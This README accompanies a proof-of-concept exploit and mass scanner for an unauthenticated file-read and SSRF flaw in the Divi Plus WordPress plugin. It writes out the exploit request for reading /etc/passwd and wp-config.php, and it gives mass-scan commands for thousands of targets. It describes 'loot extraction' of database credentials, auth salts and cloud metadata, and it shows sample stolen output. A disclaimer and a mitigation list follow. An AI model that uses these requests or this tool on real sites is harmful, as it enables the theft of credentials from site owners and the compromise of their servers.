CVE-2026-91136 — Divi Plus ≤ 2.4.0 — Unauthenticated Arbitrary File Read PoC

Divi Plus (Elicus) — WordPress plugin ≤ 2.4.0 — unauthenticated arbitrary file read via the svg_image parameter of the elicus/v1 REST namespace.

📋 Vulnerability Overview

🔍 Technical Description

SVGAnimatorController::index_permission returns true unconditionally, so the /wp-json/elicus/v1/dipl-modules/svg-animator endpoint is reachable without authentication. The svg_image input only passes through sanitize_text_field() and esc_html() — which do not restrict filesystem paths, the file:// stream wrapper or remote URLs — before being passed to file_get_contents() (with a wp_remote_get() fallback). The raw response body is returned in the JSON html field.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

Impact: read /etc/passwd, wp-config.php (DB credentials + auth salts), cloud metadata via SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env and any other file the web user can read.

🚀 Usage

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 Output

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• live single-line progress bar: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — confirmed vulnerable targets only

⚙️ Features

• Fingerprint: svg-animator endpoint response + version via divi-plus assets ?ver=
• Version oracle: vulnerable branch returns file bodies; patched/WAF returns 403/empty
• wp-config.php discovery: fixed candidates + real /home/<user>/ dirs parsed from /etc/passwd
• SSRF probes: AWS / GCP / Azure / DigitalOcean / OCI metadata endpoints
• Loot extraction: DB credentials + WordPress auth salts, with direct re-usable links per finding
• Mass mode: thread pool, dedupe, live ✓/✗ tally, JSONL + hits export

📁 File Structure

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Disclaimer

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigation

1. Update Divi Plus to 2.4.1 (or later)
2. Rotate any credentials exposed through the file read
3. Block GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator at the WAF
4. Monitor logs for svg_image values containing file://, /etc/ or metadata IPs